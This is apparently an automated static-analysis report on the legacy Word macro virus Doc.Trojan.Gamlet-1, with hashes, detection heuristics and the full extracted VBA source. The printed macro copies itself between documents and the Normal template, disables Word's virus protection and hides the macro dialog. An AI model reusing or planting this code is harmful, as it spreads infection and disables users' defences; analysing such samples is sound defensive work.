Doc.Trojan.Gamlet-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 894ef0e293a4b629…

MALICIOUS

Office (OLE)

37.5 KB Created: 2000-08-23 19:30:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f210eb2a9822341552644880243fd9f7 SHA-1: 14606e8b16283d35983845d18cf89ec2784ecf91 SHA-256: 894ef0e293a4b6294dc18610ed6228ee2ac4b0465f29c0914c52d0aede36cdb5
220 Risk Score

Malware Insights

Doc.Trojan.Gamlet-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as a legacy WordBasic macro-virus, specifically 'Doc.Trojan.Gamlet-1' by ClamAV. The presence of an AutoOpen macro and the 'Gamlet' VBA module indicates an attempt to execute malicious code upon opening the document. This macro likely serves as an initial dropper, potentially leading to further stages of infection.

Heuristics 4

  • ClamAV: Doc.Trojan.Gamlet-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Gamlet-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1166 bytes
SHA-256: 9681ed78a792a48c80b71b39b8d79847ac1c7a30f1726cdfdf001f5af9879a7b
Detection
ClamAV: Doc.Trojan.Gamlet-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Gamlet"


Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro created 04/03/99 by Lmastudent"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.AutoOpen"
  StatusBar = "TO BE OR NOT TO BE ?..."
On Error Resume Next

  Application.OrganizerCopy Source:=Application.NormalTemplate.FullName, _
  Destination:=Application.ActiveDocument.FullName, Name:="Gamlet", _
  Object:=wdOrganizerObjectProjectItems


On Error Resume Next

  Application.OrganizerCopy Source:=Application.ActiveDocument.FullName, _
  Destination:=Application.NormalTemplate.FullName, Name:="Gamlet", _
  Object:=wdOrganizerObjectProjectItems


End Sub

Sub AutoExec()
    Options.VirusProtection = False
End Sub




Sub ToolsMacro()
'    Dialogs(wdDialogToolsMacro).Show
With Assistant
    .Visible = True
    .Animation = 24
End With

End Sub